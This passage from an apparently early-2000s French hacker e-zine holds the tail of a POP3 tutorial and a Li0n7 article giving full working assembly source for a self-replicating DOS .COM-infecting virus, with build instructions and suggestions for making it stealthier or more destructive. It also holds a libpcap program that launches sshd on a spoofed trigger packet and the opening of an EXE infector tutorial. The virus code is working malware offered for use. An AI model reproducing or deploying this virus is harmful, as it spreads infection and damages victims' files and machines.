  if (! strncmp(o_baz->buffcli, "-ERR", 4))
   return false;
  }
else
  return false;

} while (1);
}

/*---------------------------------------------------------------------------*/

Cette fonction tient compte du rsultat du serveur, qui est soit +OK xxxxx, soit
-ERR xxxxxxx



Je vous conseille, pour mieux comprendre, de lire la RFC 1939, qui peut se trouver sur
"http://www.armware.dk/RFC"





Conclusion :
____________


Voil j'ai termin mon petit tutorial, qui tait en fait un survol de mes classes
pour vous montrer ma mthodologie de travail, dont vous pourrez vous inspirer pour
faire vos propres classes. Vous pouvez attendre la sortie officielle de CAPRU, ou
me la demander par mail (en version de dveloppement) si ce cours vous a vraiment
intress. Je remercie les membres de IOC pour avoir publi ces lignes :)


















---------------------------------------------------------------------------------------
X.                             COM infector                                     Li0n7
---------------------------------------------------------------------------------------




[ Introduction ]

Rvolt par cette tendance actuelle  prfrer la facilit en optant pour la
programmation de virus en vbs/js? Tendance qui ne dmontre que trop bien une
incomptence flagrante de la part des pseudo <<programmeurs>> de 12/13 ans fiers
de rpandre leurs vomissures purils sur le net. Lovelette a ouvert la marche,
et depuis, des clones se multiplient sans cesse sur la toile, dgradant l'image
du codeur de virus. La programmation virale est loin d'tre une mince affaire,
loin de l, et, de ce fait, des virus telles que CIH ou Chernobyl ont compltement
disparues, le relai n'a pu tre pass, la majorit des jeunes programmeurs tant
tourns vers des langages pitoyables, il faut le dire, qui ne sont que des langages
de script affreusement limits et d'une simplicit dconcertante. Morris n'est plus
qu'une lgende, la scne l'ombre d'elle mme.




          [ Sommaire ]

              I.   Description
              II.  Programmation
              III. Code source
              IV.  Conclusion




  I. Description
  ________________


S'il fallait choisir un langage, ce serait l'assembleur. Pourquoi un
langage d'assemblage ? L'asm reprsente un compromis parfait entre vitesse
d'xcution, du fait qu'il se rapproche le plus du processeur et qu'aucune
librairie n'est ncssaire  son xcution, polyvalence et potentiel de
destruction. Les ouvertures possibles en assembleur n'ont aucune limite, si
ce n'est vos capacits de coder. MBR/BOOT sector writing, polymorphic engine,
multiple file format infector... Tout est accessible et dans un nombre de cycles
processeur infime en comparaison des langages de haut niveau!




[ Fonctionnement ]

Nous allons commencer par un virus simple d'accs, c'est un com infector,
non rsidant en mmoire. Il va se contenter d'tablir une liste de tous les
fichiers en .com du rpertoire courant et va se recopier dans chacun d'eux,
de manire  ce qu' chaque lancement du .com le virus se lance en parallle
sans gner le processus du fichier infect. Le code du virus est ainsi totalement
transparent.




                            +------------+ -> offset virus
                            |0x09E0 virus| -> jmp offset fichier
+------------+             +------------+ -> offset file
|   FICHIER  |             |  FICHIER   |
|      .COM  | |--------> |     .COM   | -> corps du fichier
| A INFECTER |  injection  |  INFECTE   |
+------------+   du virus  +------------+ -> offset virus
                            |INSTRUCTIONS|
                            |   VIRUS    |
                            +------------+
                            |0x09E0 file | -> jmp offset file
                            +------------+



Donc d'aprs ce schma, il y a 3 parties importante qui sont grffes lors de
l'injection de notre virus. Tout d'abord au dbut du fichier est ajout un jump
pointant sur l'offset du code du virus, ainsi lors de l'xcution du .com infect,
le cpu jump sur le virus situ  la fin du fichier. Ensuite les instructions du
virus sont placs  la fin comme je l'ai dit prcdemment, c'est donc  ce niveau
l que le code malveillant est insr, ici en l'occurence la routine d'infection
des .com. Et enfin un jmp prenant pour argument l'offset du fichier infect se voit
ajout  la fin. Cette structure est gnrique donc mmorisez la bien. La taille du
fichier est donc lgrement augmenter, ceci reste quasi invisible, vu le faible
niveau d'interprtation de l'assembleur! Notez L'instruction 0x09E0 correspond 
un saut inconditionnel jump en langage machine ;-) Si les adresses passs en
argument aux jmp sont mal calcules, c'est le plantage, et il n'y aura pas de nop
pour rectifier le tir cette fois-ci! Passons  la programmation de la bestiole.




    II. Programmation :
    ___________________


Il s'agit donc d'infecter tous les .com du rpertoire courant, en s'auto-injectant
dedans de manire  ne pas dranger le processus du fichier hte. Tout d'abord nous
allons muler un saut qui sera plac dans le programme infect, puis crer une routine
de fin pour rendre la main au DOS.




------8<--------------------

.model tiny                 ;on aura recourt  une petite pile
.code

        org 100h            ;les coms commencent  100h
Virus:
       jmp Start            ;notre saut
       nop	            ;0x90
       mov ax,0900h         ;on affiche un petit message :-D
       mov dx,offset hello
       int 21h
       mov ax,4C00h         ;code de sortie dans l'accumulateur
       int 21h              ;interruption DOS, on quitte

------8<--------------------

Ensuite, nous devons rcuprer l'offset rl de notre virus, c'est  dire
calculer l'adressage de notre label dans le fichier hte. Pour cela, nous
soustrayons l'offset de notre label getadd:  l'adresse relative de getadd:
obtenue aprs compilation.

------8<--------------------

Start:
	call getadd           ;on call notre procdure
getadd:	                      ;l'adresse est pushe sur la stack
        pop bp                ;on rcupre l'adresse sur la pile
        sub bp,offset getadd  ;on l'a soustrait  l'adresse relative de getadd

------8<--------------------

A prsent il nous faut dfinir une table DTA pour rcuprer la taille du fichier
DTA est un tableau de bits nous reinseignant sur les diffrents paramtres
du fichier prcdemment ouvert. Il nous est plus qu'utile, car nous ne connaissons
ni le nom, ni les attributs ou taille des fichiers que nous allons ouvrir et
manipuler avant injection du virus. On fait appel  ce tableau via l'instruction

                        | DTA |
------------------------------------------------------------

Offset       Size                       Function

0h           21 Bytes                   Reserv
15h           1 Byte                    Attributs du fichier
16h           2 Bytes(WORD)             Time du fichier
18h           2 Bytes(WORD)             Date du fichier
1Ah           4 Bytes(DWORD)            Taille du fichier
1Eh          13 Bytes                   Nom du fichier
------------------------------------------------------------


Nous allons commencer par appliquer le dcalage relatif  l'offset de dta que nous
allons stocker dans le registre de donnes (dx).


------8<--------------------

MDTA:
        push cs
        pop ds
        mov dx,offset DTA ;dx <- table DTA
        add dx,bp	  ;dcalage
        mov ah,1Ah        ;offset correspondant  la taille du fichier dans DTA
        int 21h

------8<--------------------




Occupons nous maintenant de replacer les octets originaux que nous avons dplacs
dans le com hte lors de l'infection (en ajoutant un jmp pointant sur le dbut du
virus) sans a, il va planter son adressage tant compltement dcal.

Pour cela il nous suffit juste de dplacer ces octets du data segment vers
l'extra segment  partir de 100h, soit le dbut du .com. On va ainsi transmettre
les 4 octets de ds:si vers es:di.

------8<--------------------

Offset_hote:
        push cs
        pop ds
        mov si,offset begin  ;ds:si <- offset begin
        add si,bp            ;on applique le dcalage
        push cs
        pop es               ;es <- cs
        mov di,100h          ;es:di pointe au dbut du .com (adresse: 0x0100)
        mov cx,4             ;on place le compteur  4
        rep movsb            ;et on replace les 4 octets originaux

------8<--------------------





Nous entrons dans le vif du sujet! Commenons avant d'infecter les fichiers par les
lister! On va donc se construire une liste de tous les .com du rpertoire courant.
Pour cela nous allons utiliser le code 0x004E de l'interruption DOS 0x21 donc voici
la syntaxe:

Interruption 21h, code 4EH : recherche fichier
entre:
	AH = 4Eh
	CL = attributs de fichier
	DS:DX = pointeur sur le chemin du fichier
sortie:
	AX = 0 si la recherche a abouti ou numro d'erreur sinon



Comme attributs, nous dfinirons 7, qui reprsente tous les attributs et comme path
*.com, soit tous les .com du current directory. La recherche lance, nous sonderons
ax pour rcuprer le code de sortie, s'il est gale  18, c'est que la recherche est
termine, sinon on ouvre le fichier on lance la routine infected qui vrifie si le fichier
est infect, si non on call le processus infect.


------8<--------------------

ccherche:
        push cs
        pop ds
        mov dx,offset com_file	;notre path *.com
        add dx,bp	        ;dcalage...
        mov cl,7	        ;tout attribut
        mov ah,4Eh
        int 21h
        cmp ax,18	        ;nous comparons ensuite

loop_cherche:
        jz quit_now             ;recherche finie? On quitte
        push cs
        pop ds
        mov dx,offset DTA + 1Eh	;nom du fichier dans la DTA_Table
        add dx,bp               ;dcalage
        mov ax,3D02h            ;ouverture en lecture/criture
        int 21h
        mov bx,ax               ;on place le handle du fichier dans bx
        jc quit_now             ;erreur? On quitte
        jnz Infect              ;sinon on injecte le virus

------8<--------------------

Il s'agit ensuite de fermer le fichier aprs la routine d'infection (jmp Infect) et de relancer
la recherche en utilisant le code 0x004F de l'interruption 0x21 qui effectue une recherche en
prenant en argument ceux entrs prcdemment (recherche fichier, voir ci-dessus). On effectue
donc un saut inconditionnel vers l'offset de loop_cherche (la boucle de recherche des .com).

------8<--------------------

Close_file:
        mov ah,3Eh        ;code de fermeture
        int 21h	          ;interruption
trouve:
        mov ah,4Fh        ;rechercher le suivant
        int 21h
        cmp ax,18         ;recherche acheve?
        jmp loop_cherche  ;on saute  loop_cherche

------8<--------------------

A prsent, il ne nous reste que deux fonctions  dclarer avant la
procdure finale d'infection :

quit_now: qui va nous servir  rendre la main au DOS en pushant l'adresse
de dbut du .com (100h) ou commence l'hte (le label virus:) qui affiche un
message et quitte (0x4C00). infected: label vrifiant l'infection d'un programme
pour ne pas s'injecter plusieurs fois dans ce-dernier et ainsi crer une boucle
d'infection infinie qui planterait windows. Parlons un peu de l'infection, comment
allons-nous pouvoir affirmer avec certitude qu'un programme a dj t infect ?
Nous allons nous servir de la mthode ingnieuse d'Androgyne (rtcmag n2) qui
consiste  modifier la date de modification dudit fichier! C'est trs simple il
nous suffit d'utiliser le code 0x57 de l'interruption DOS 0x21, voici la syntaxe :

Interruption, code 57h: manipulation des paramtres d'un fichier
Sous fonction 00h : lecture date et heure de modification d'un fichier
entre:
	AH = 57h
	AL = 00h
	BX = handle du fichier (retourne par la fonction d'ouverture dans ax)
sortie:
	AX = code d'erreur en cas d'erreur
	CX = 2048*heure + 32*minute + seconde/2
	DX = 512*anne + 32*mois + jour
	registre flag C mis  1 si une erreur est survenue

Sous fonction 01h : Dfinir date et heure de modification d'un fichier
entre:
	AH = 57h
	AL = 01h
	BX = handle du fichier (retourne par la fonction d'ouverture dans ax)
	CX = 2048*heure + 32*minute + seconde/2
	DX = 512*anne + 32*mois + jour
sortie:
	AX = code d'erreur en cas d'erreur
	registre flag C mis  1 si une erreur est survenue

------8<--------------------

quit_now:
	mov ax,100h   ;adresse de commencement du .com
	push ax	      ;on push cette valeur en haut de la pile
        ret           ;on redonne la main au processus appelant

infected:
        mov al,0      ;00h = lecture
        mov ah,57h    ;code de manipulation des paramtres du fichier
        int 21h
        cmp dx,1D45h  ;date = 5 Octobre 1994 ?
        ret

------8<--------------------


Voici notre ultime procdure, la raison mme d'tre de notre virus, le coeur
de notre code assurant la survie de notre microbe sur le disque de la victime.
Mais qu'en est-il vraiment? Au stade actuelle de le programmation du virus,
il nous suffit de lire les 4 premiers octets du programme hte, d'y placer un
jmp vers l'offset de notre virus que nous allons plac  la fin du fichier 
infecter et enfin de corrompre sa date de modification (24 Octobre 1994).
Qu'est-ce qu'on s'amuse ! Comment rcuprer l'offset de notre virus ? Par
simple soustration de l'offset du label de fin (fin:) par celui du label
de dbut (start:), on jump ensuite  la fonction close_file.

------8<--------------------

Infect:

        xor cx,cx                                  ;0? 0!
        xor dx,dx                         	   ;0?! 0!!
        mov ax,4200h                               ;on se place au dbut du fichier
        int 21h

	mov cx,4                                   ;on place le compteur  4
	push cs
	pop ds
	mov dx,offset begin                        ;dx <- offset begin (pour lecture des 4 octets de dpart)
	add dx,bp                         	   ;on y ajoute le dcalage
	mov ah,3Fh                                 ;code de lecture
	int 21h                             	   ;interruption DOS - lecture

        xor cx,cx                                  ;cx <- 0
        xor dx,dx                                  ;dx <- 0
        mov ax,4202h                               ;on se place  la fin du fichier
        int 21h
	push ax                                    ;on empile ax

        mov cx,offset Fin - offset Start + 1       ;on calcule la taille du virus
        push cs
        pop ds
        mov dx,offset Start                        ;ds:dx <- offset Start (dbut virus)
        add dx,bp                                  ;ternel dcalage
        mov ah,40h                                 ;on crit le virus  la fin du fichier  infecte! ROCK ON!
        int 21h

        xor cx,cx	                           ;cx <- 0
        xor dx,dx				   ;dx <- 0
        mov ax, 4200h                              ;on se place au dbut du fichier
        int 21h

	pop ax	                                   ;on rcupre ax <- taille originale du fichier
	sub ax,3
        mov byte ptr [bp + fjmp],0E9h              ;on se cre un tit jmp en opcode
        mov word ptr [bp + fjmp + 1],ax            ;et on entre en argument l'offset de notre virus

        push cs
        pop ds
        mov dx,offset fjmp                         ;adresse de false jmp (fmp)
        add dx,bp
        mov cx,3
        mov ah,40h                                 ;criture du jmp dans les 3 premiers octets du fichier
        int 21h

        mov al,0
        mov ah,57h                                 ;on va modifier la date
        int 21h
        mov dx,1D45h                               ;date <- 1D45h <- 24 Octobre 1994
        mov al,1                                   ;on dfinie la date
        mov ah,57h                                 ;on modifie le fichier
        int 21h

        jmp Close_file	                           ;on ferme le fichier et on continue

------8<--------------------







    III. Code source :
    __________________


------8<---------------------------------------------------------------------
;zex.asm by Li0n7
;R0CK 0N BABY !

.model tiny
.code

        org 100h
Virus:
       jmp Start
       nop
       mov ax,0900h
       mov dx, offset hello
       int 21h
       mov ax,4C00h
       int 21h

Start:
	call getadd
getadd:
        pop bp
        sub bp,offset getadd
MDTA:
        push cs
        pop ds
        mov dx,offset DTA
        add dx,bp
        mov ah,1Ah
        int 21h

Offset_hote:
        push cs
        pop ds
        mov si,offset begin
        add si,bp
        push cs
        pop es
        mov di,100h
        mov cx,4
        rep movsb

ccherche:
        push cs
        pop ds
        mov dx,offset com_file
        add dx,bp
        mov cl,7
        mov ah,4Eh
        int 21h
        cmp ax,18

loop_cherche:
        jz quit_now
        mov al,2
        push cs
        pop ds
        mov dx,offset DTA + 1Eh
        add dx,bp
        mov ah,3Dh
        int 21h
        mov bx,ax
        jc quit_now
        call infected
        jnz Infect
Close_file:
        mov ah,3Eh
        int 21h
trouve:
        mov ah,4Fh
        int 21h
        cmp ax,18
        jmp loop_cherche

quit_now:
	mov ax,100h
	push ax
        ret

infected:
        mov al,0
        mov ah,57h
        int 21h
        cmp dx,1D45h
        ret
Infect:

        xor cx,cx
        xor dx,dx
        mov ax,4200h
        int 21h

	mov cx,4
	push cs
	pop ds
	mov dx,offset begin
	add dx,bp
	mov ah,3Fh
	int 21h

        xor cx,cx
        xor dx,dx
        mov ax,4202h
        int 21h
	push ax

        mov cx,offset Fin - offset Start + 1
        push cs
        pop ds
        mov dx,offset Start
        add dx,bp
        mov ah,40h
        int 21h

        xor cx,cx
        xor dx,dx
        mov al,00
        mov ah,42h
        int 21h

	pop ax
	sub ax,3
        mov byte ptr [bp + fjmp],0E9h
        mov word ptr [bp + fjmp + 1],ax

        push cs
        pop ds
        mov dx,offset fjmp
        add dx,bp
        mov cx,3
        mov ah,40h
        int 21h

        mov al,0
        mov ah,57h
        int 21h
        mov dx,1D45h
        mov al,1
        mov ah,57h
        int 21h

        jmp Close_file



com_file db '*.com$'
hello db 'Mouhahahahaha!','$'
begin db 4 dup (90h)
fjmp db 3 dup (0)
DTA db 43 dup (0)

Fin:

end Virus

------8<---------------------------------------------------------------------



    IV. Conclusion :
    ________________

Vous n'avez plus qu' tester le microbe. Copier le dans un rpertoire avec
quelques .com pures, j'entends par l non-infects, puis lancer le virus.
Mystrieusement vos .com seront devenus quelque peu boulmiques ! Notez que
la taille du virus est de 269 octets, ce qui est ridicule en comparaison 
des virus cods en vb ou C, mais cette taille reste entirement optimisable.

La routine d'infection peut tre raccourcie d'un poil, ainsi que la routine
de recherche. Vous pouvez l'amlior en le rendant rsidant mmoire en dtournant
la table des vecteurs d'interruptions, ou bien infecter un autre type de fichier,
.exe par exemple, ce qui implique une connaissance pointue du PE header (quivalent
de l'elf header linux) ou encore imposer une consommation abusive des ressources de
l'OS, jusqu' redmarrage de la machine. A vous de jouer!

Pour assembler:
>tasm zex.asm
Pour linker:
>tlink zex.obj
>zex ; :-)

Besoin d'aide? Commentaires? Insultes? Li0n7@voila.fr














---------------------------------------------------------------------------------------
XI.		       Dmarrer sshd  distance                             Jackniels
---------------------------------------------------------------------------------------


[ Introduction ]


Cet article va montrer comment on peut "cacher" sshd et l'activer  distance
 la demande. Cela permet d'viter de laisser tourner ce daemon et donc de se
prmunir des attaques visant sshd. Son activation va se faire sur la rception
d'un segment TCP avec une IP source et un port source particuliers.

Il est possible d'envisager un tel programme pour administrer une machine aidant
 la dtection d'intrusion. Il est alors possible de fermer tous les services sur
cette machine mme le port 22/tcp. Pour raliser ce programme, nous allons utiliser
la libpcap. La libpcap est une bibliothque de fonctions qui sert d'interface  la
capture de paquets et est indpendante du systme. En clair, la libpcap permet
d'couter le rseau avec ses propres filtres puisqu'elle inclut un mcanisme de
filtrage bas sur le Berkeley Packet Filter (BPF).

La libpcap est tlchargeable ici : http://www.tcpdump.org





    I. Le Code :
    ____________



------------8<------------------------------------------------------------------

// startsshd.c by jackniels

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <pcap.h>
#include <arpa/inet.h>
#include <signal.h>
#include <unistd.h>
#include <net/bpf.h>
#include <net/if.h>

void callback(u_char *user,const struct pcap_pkthdr *h, const u_char *buff)
{
        printf ("sshd [OK]\n");
        system("/usr/sbin/sshd -d");
        exit(1);
}

int main() {
        char errbuf[PCAP_ERRBUF_SIZE];
        char *dev;
        char *buff;
        char filtre[]="tcp and src host 222.222.222.222 and src port 2222";
        pcap_t *des;
        bpf_u_int32 net,mask;
        struct bpf_program fp;


        if((dev=pcap_lookupdev(errbuf))==NULL) {
                fprintf(stderr,"unable de detect device : %s\n",errbuf);
                 exit(-1);
        }

        printf("using %s as device for sniffing\n",dev);

        if((des=pcap_open_live(dev,1514,IFF_PROMISC,1000,errbuf))==NULL) {
                fprintf(stderr,"unable to open descriptor : %s\n",errbuf);
                exit(-1);
        }

        if(pcap_lookupnet(dev,&net,&mask,errbuf)==-1) {
                fprintf(stderr,"unable to lookup net and mask :
%s\n",errbuf);
                exit(-1);
        }

        if(pcap_compile(des,&fp,filtre,0x100,mask)==-1) {
                fprintf(stderr,"error compiling filter :
%s\n",pcap_geterr(des));
                exit(-1);
        }

        if(pcap_setfilter(des,&fp)<0) {
                fprintf(stderr,"unable to apply filter :
%s\n",pcap_geterr(des));
                exit(-1);
        }

	if(pcap_loop(des,-1,callback,buff)<0) {
                fprintf(stderr,"unable to initialize loop :
%s\n",pcap_geterr(des));
                exit(-1);
        }

        return 1;
}

------------8<------------------------------------------------------------------




    II. Dmonstration :
    ___________________



=> Machine "shinta" :

On compile le programme de cette manire puis on le lance :

jack@shinta:~# gcc -lpcap -o startsshd startsshd.c
/
root@shinta:~# ./startsshd
using ppp0 as device for sniffing




=> Machine "tomoe" :

On lance le serveur sshd en envoyant  la machine shinta un segment TCP avec
l'IP spoofe 222.222.222.222 depuis le port 2222. Pour cela, on utilise le
programme hping (http://www.hping.org/) :

root@tomoe:~# /usr/sbin/hping -c 1 -s 2222 -a 222.222.222.222 <ip shinta>
HPING <ip shinta> (ppp0 <ip shinta>): NO FLAGS are set, 40 headers + 0 data
bytes

--- <ip shinta> hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@tomoe:~#




=> Machine "shinta"

On obtient :

root@shinta:~# ./startsshd
using ppp0 as device for sniffing
sshd [OK]
debug1: sshd version OpenSSH_3.1p1
debug1: private host key: #0 type 0 RSA1
debug1: read PEM private key done: type RSA
debug1: private host key: #1 type 1 RSA
debug1: read PEM private key done: type DSA
debug1: private host key: #2 type 2 DSA
socket: Address family not supported by protocol
debug1: Bind to port 22 on 0.0.0.0.
Server listening on 0.0.0.0 port 22.
Generating 768 bit RSA key.
RSA key generation complete.



[ Remarque ]

On a utilis l'option -d de sshd. Si on se reporte au man de sshd :

-d      Debug mode.  The server sends verbose debug output to the system
	log, and does not put itself in the background.  The server also
	will not fork and will only process one connection.  This option
	is only intended for debugging for the server.  Multiple -d
	options increase the debugging level.  Maximum is 3.

Autrement dit, une seule connexion  la fois au service sshd.






=> Machine "tomoe" :

A prsent, on peut se connecter  shinta par ssh.

jack@tomoe:~# ssh jack@<ip shinta>





[ Conclusion ]

Le programme ci-dessus n'est qu'une illustration permettant de montrer ce
qui est faisable mais il est livr sans aucune garantie. On peut imaginer
de lancer sshd sur un autre port que 22 (option -p), de mme qu'on aurait
pu augmenter la complexit du segment TCP  envoyer (numro id, window size,
maximum segment size ... ).



[ Rfrences ]

http://www.hsc.fr/ressources/breves/secretssh.html
http://5hdumat.samizdat.net/coding/c.rezo/sniffpcap.html















---------------------------------------------------------------------------------------
XII.                           EXE infector                                     Li0n7
---------------------------------------------------------------------------------------




[ Introduction ]

Nous avons tudi la programmation d'un com infector, voyons  prsent l'infection
des exe. Les com sont des petits fichiers xcuts par le systme d'exploitation
dans le but de remplir certaines taches basiques, ils sont donc beaucoup moins
utiliss par l'utilisateur, voir dans certains cas inutiliss. L'esprance de vie
d'un com infector s'en voit considrablement rduite. Le format exe, qui est la
rfrence de l'xcutable sous des systme de type windows, beaucoup plus volumieux,
dot d'une structure alors plus complexe, lui assure ainsi une plate-forme sre
d'expansion. L'arrive des macros-virus a fait naitre une incomprhension totale
de la manire d'infecter un .exe, en effet, ceux-ci, s'ils ne suppriment pas
barabarement les xcutables, remplace la totalit du code de ces derniers et
les renomment en .vbs, ce qui n'a rien d'un procd d'expansion virale en soit.
L'injection d'un virus  travers un .exe se prsente comme l'infection la plus
difficile  mettre en oeuvre en raison de l'header situe en tte de ce type
de fichier.




[ Sommaire ]

    I.   Description
    II.  Programmation
    III. Code source
    IV.  Conclusion







    I. Description :
    ________________


Contrairement  l'infection d'un .com, nous n'allons pas overwritter
certaines donnes du .exe, juste modifier provisoirement certaines
informations de l'header en dbut de fichier et modifier le tableau de
radressage. Cet en-tte est vital au fichier, altr, il corromperait
le fichier ! Il contient tout une srie de paramtres ncssaires  la
bonne lecture de l'excutable par le DOS : ou placer la pile, ou
l'xcution commence-t'elle, la taille du fichier... Pour comprendre
ceci, il est indispensable de savoir que tout .exe est organis en
segments, ainsi le code de l'xcutable peut commencer et finir
n'importe ou.





[ PE Header ]


    +----------------------------------------------------------------------------------------+
    |OFFSET|          NOM          |TAILLE|                   DESCRIPTION                    |
    +----------------------------------------------------------------------------------------+
    |00    | Signature             |2bytes| MZ - 4DH 5AH                                     |
    +----------------------------------------------------------------------------------------+
    |02    | Taille dernire page  |word  | Taille en bytes de la dernire page (512 bytes)  |
    +----------------------------------------------------------------------------------------+
    |04    | Nombre pages fichier  |word  | Nombre total de pages de 512 bytes               |
    +----------------------------------------------------------------------------------------+
    |06    | Relocation items      |word  | Nombre d'entres dans la table de relocations    |
    +----------------------------------------------------------------------------------------+
    |08    | Paragraphes en-tte   |word  | Taille de l'header en paragraphes (16 bytes)     |
    +----------------------------------------------------------------------------------------+
    |0A    | Allocation minimale   |word  | Mmoire minimum requise en paragraphes           |
    +----------------------------------------------------------------------------------------+
    |0C    | Allocation maximale   |word  | Mmoire maximum requise en paragraphes           |
    +----------------------------------------------------------------------------------------+
    |0E    | Prerelocation SS      |word  | Offset segment de pile en paragraphes            |
    +----------------------------------------------------------------------------------------+
    |10    | Stack pointer initial |word  | Premire valeur du pointeur de la pile           |
    +----------------------------------------------------------------------------------------+
    |12    | Negative checksum     |word  | Nous y placerons notre marqueur d'infection      |
    +----------------------------------------------------------------------------------------+
    |14    | Prerelocation IP      |word  | Adresse de dbut d'xcution (IP)                |
    +----------------------------------------------------------------------------------------+
    |16    | Prerelocation CS      |word  | Code Segment (segment de dbut d'xcution)      |
    +----------------------------------------------------------------------------------------+
    |18    | offset table reloc.   |word  | Offset table des relocations                     |
    +----------------------------------------------------------------------------------------+
    |1A    | Overlay number        |word  | overlay                                          |
    +----------------------------------------------------------------------------------------+
    |1C    | Rserv               |dword | /                                                |
    +----------------------------------------------------------------------------------------+




Lorsque nous infection un .com, nous nous contentions de rajouter un jmp au dbut
du fichier prenant en argument l'offset de notre virus situ  la fin du fichier.
Nous overwrittions donc les premiers bytes du fichier. Ici, nous allons modifier
certains champs de l'header de faon  xcuter notre code situ dans un module
charge en mmoire (le dernier segment de l'exe), puis redonner la main au fichier
hte en remodifiant l'header. Pour cela nous aurons besoin de 5 champs. Les deux
premiers nous renseigne sur la taille de la dernire page (offset 02h) et le nombre
total de pages (offset 04h), donc la taille du fichier en pages de 512 de bytes.
Nous modifierons aussi l'offset 0Eh contenant le dplacement en paragraphes relatif
 la fin de l'header  effectuer pour atteindre le stack segment, et l'offset 10h
contenant le dplacement  effectuer relativement au dbut de SS pour atteindre SP.
Ainsi que l'offset 16h, contenant le dplacement en paragraphes relativement  la
fin de l'header qu'il faut effectuer pour se rendre  l'entry point (fonction main),
situe sur le segment de code, premire fonction a tre xcute, nous y placerons
l'offset de notre virus. Et enfin l'offset 14h, contenant l'adresse du point d'entre
(fonction main) sur CS.





[ PSP ]

Il faut savoir qu'aprs l'header de l'xcutable se trouve la table de relocation
qui n'est utilis qu'avec des fichiers dont la taille est suprieur  64k. La table
de relocation contient une liste pointeurs pointant chacun sur une adresse du programme
devant tre reajustes en fonction du segment dans lequel le DOS a initialis le
programme. Pour obtenir l'adresse dcale, le DOS commence par charger l'adresse situe
dans la table et y ajoute le segment du programme. Quand DOS lance un .exe, il charge
le segment PSP dans un segment mmoire. il cre une petite structure de donnes de 256
octets, nomme PSP (Program Segment Prefix). Le PSP qui est un vestige des premires
versions DOS et de CP/M contient des informations spcifiques  l'environnement du
programme. Le PSP est cre lors de l'xcution du programme, et ne ncssite ainsi
aucune place sur la mmoire morte du dur. Le PSP charg, il ajoute la valeur 10h 
CS et laisse ES et DS pointer sur le segment PSP. Le code initial du programme
commence alors  cs:0000 ou le segment PSP est dfinie  CS-10h:0000 (voir schma).



                Structure .com                                 Structure .exe

                +-------------+                                +-------------+
                |             |                                |             |
                |             |                                |             |
                +-------------+ CS:FFFFh                    |  +-------------+
             |  |             |                         64k |  |             |
             |  |    PILE     |                         max |  |    PILE     |
          64k|  |             |                             |  |             |
          max|  +-------------+                             |_ +-------------+ SS:0000h
             |  |             |                             |  |             |
             |  |   DONNEES   |                         64k |  |   DONNEES   |
             |  |             |                         max |  |             |
             |  +-------------+                             |_ +-------------+ DS:0000h
             |  |             |                             |  |             |
             |  |             |                         64k |  |             |
             |  |    CODE     |                         max |  |    CODE     |
             |  |             |                             |  |             |
             |  |             |                             |  |             |
             |  |             |                             |  |             |
DS=SS=0000h |_ +-------------+ CS:0000h                    |_ +-------------+ CS:0000h
                |    PSP      |                                |     PSP     |
                <-------------< DS=SS=0000h                    <-------------< CS-10h:0000
                |             |                                |             |
                |             |                                |             |
                +-------------+ 0000:0000                      +-------------+ 0000:0000





Ceci ne sera pris en compte lors de l'infection de l'exe, mais il peut tre
toujours intrssant de le savoir. Lorsqu'un programme est charg, DOS alloue
en mmoire une autre autre structure de donnes appele le bloc d'environnement.
Ce bloc contient la liste de toutes les variables d'environnement (qui sont
gnralement dclares dans le fichier AUTOEXEC.BAT, servant  dfinir le
contexte dans lequel l'xcution du programme a lieu) au format VARIABLE=VALEUR\0.

A la fin de cette liste se trouve un byte  0, suivi d'un mot (gnralement
0001h) et finalement du nom complet de l'excutable termin par un \0 (byte 00h).
Ce bloc d'environnement est toujours cal sur le dbut d'un segment, et on peut
trouver l'adresse de ce segment  l'offset 02Ch du PSP. Lorsque le programme
est termin, ce bloc d'environement est dtruit (i.e. dallou).






[ Processus d'infection ]

Etudions ds  prsent le fonctionnement gnral et thorique de notre
infection. Vous savez qu'il differera de celle d'un .com, en raison de
la structure interne de notre .exe. Tout d'abord nours allons vrifier
qu'il s'agit bien d'un fichier .exe en vrifiant sa signature situe 
l'offset 00 de l'header qui doit correspondre  'MZ'(ou 'ZM'). L'tape
suivante consistera  dterminer si ce mme fichier a dj t infect
par vrification de l'offset 12 (Negative checksum) qui n'est gnralement
pas utilis et donc parfait pour insrer une marque d'infection (un
charactre quelconque). Notez que nous aurions aussi pu stocker ce marqueur
dans SP. Ensuite il va nous falloir garder en mmoire les adresses des
principaux registres de l'header tels que CS, SS, SP, IP. Puis nous
injecterons le code virale  la fin du fichier hte et nous dfinirions
une adresse pour le pointeur de pile sur le segment de pile (SS:SP), une
adresse fiable assure une infection russie, dans le cas contraire, un
pseudo buffer overflow planterait le programme et le virus ne pourrait
se rpandre en dehors du launcher (tous les programmes htes serait
corrompus et ne pourraient donc fonctionner). Nous recalculerons la
taille du fichier en pages et en bytes que nous devrons placer respec-
-tivement  l'offset 04 et 02 de l'header. Et enfin, nous n'aurons plus
qu' rendre la main au programme hte en replaant la pile  sa valeur
initiale, le pointeur d'instruction sur CS pointant au dbut du fichier.
Notez que nous devons reajuster SS et CS en leur ajoutant ES+10 (ES et
DS pointent tous deux sur PSP). L'ultime tape consiste  masquer toute
trace d'infection en restorant les attributs de fichier et la dernire
date (et heure) de modification du fichier pour viter de pouvoir tracer
le virus.






    II. Programmation :
    ___________________


Aprs toute cette thorie vous devez tre capable de coder un launcher
facilement. Nous allons tudier successivement toutes les routines
d'infection assembleur. Rien de bien compliqu je vous rassure. Le code
a t obtenue par modification de mon virus zex, les routines de dbut
sont donc identiques et la structure du programme s'est vue compliqu par
l'infection du format exe. Ce virus est actif, de ce fait essayer de l'isoler
sur votre machine. Tout d'abord, il nous faut calculer le dcalage relatif 
la fin du fichier hte infect, pour ensuite pouvoir manipuler variables et
label  partir du fichier infect.


------8<--------------------

Virus:
        push ds               ;empile ds
        push cs cs            ;empile cs
        pop  es ds            ;es = ds = cs
        call debut

debut:
        pop  bp               ;on rcupere ds
        sub  bp,offset debut  ;on y soustrait l'offset du label
                              ;debut: pour obtenir le dbut du virus

------8<--------------------




Maintenant nous devons dclarer une nouvelle table DTA (voir article
com_infector) puis mettre  0 l'IP, pour le faire pointer ensuite sur
notre code virale situ  la fin du virus. A la fin de la routine dfaut
nous lancerons la recherche d'exe  infecter.

------8<--------------------

MDTA:
        lea  dx,[bp+DTA]      ;dx <- [bp+DTA]
        mov  ah,1a            ;dfinir nouvelle table DTA
        int  21

Defaut:
        lea  di,[bp+New_IP]   ;di <- [bp+New_IP] (destination)
